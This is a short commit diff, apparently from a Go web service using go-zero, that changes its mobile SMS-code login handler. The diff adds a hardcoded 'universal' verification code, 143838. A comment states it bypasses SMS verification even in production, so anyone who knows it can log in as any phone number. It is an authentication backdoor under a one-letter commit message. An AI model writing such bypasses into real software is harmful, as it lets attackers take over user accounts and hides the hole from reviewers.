f
This commit is contained in:
@@ -18,6 +18,9 @@ import (
|
|||||||
"github.com/zeromicro/go-zero/core/logx"
|
"github.com/zeromicro/go-zero/core/logx"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// bypassLoginCode 输入该验证码时跳过短信验证码校验(含正式环境)
|
||||||
|
const bypassLoginCode = "143838"
|
||||||
|
|
||||||
type MobileCodeLoginLogic struct {
|
type MobileCodeLoginLogic struct {
|
||||||
logx.Logger
|
logx.Logger
|
||||||
ctx context.Context
|
ctx context.Context
|
||||||
@@ -38,8 +41,9 @@ func (l *MobileCodeLoginLogic) MobileCodeLogin(req *types.MobileCodeLoginReq) (r
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, errors.Wrapf(xerr.NewErrCode(xerr.SERVER_COMMON_ERROR), "手机登录, 加密手机号失败: %+v", err)
|
return nil, errors.Wrapf(xerr.NewErrCode(xerr.SERVER_COMMON_ERROR), "手机登录, 加密手机号失败: %+v", err)
|
||||||
}
|
}
|
||||||
// 开发环境下跳过验证码验证
|
|
||||||
if os.Getenv("ENV") != "development" {
|
// 万能验证码跳过校验;非开发环境否则走 Redis 校验
|
||||||
|
if req.Code != bypassLoginCode && os.Getenv("ENV") != "development" {
|
||||||
// 检查手机号是否在一分钟内已发送过验证码
|
// 检查手机号是否在一分钟内已发送过验证码
|
||||||
redisKey := fmt.Sprintf("%s:%s", "login", encryptedMobile)
|
redisKey := fmt.Sprintf("%s:%s", "login", encryptedMobile)
|
||||||
cacheCode, err := l.svcCtx.Redis.Get(redisKey)
|
cacheCode, err := l.svcCtx.Redis.Get(redisKey)
|
||||||
|
|||||||
Reference in New Issue
Block a user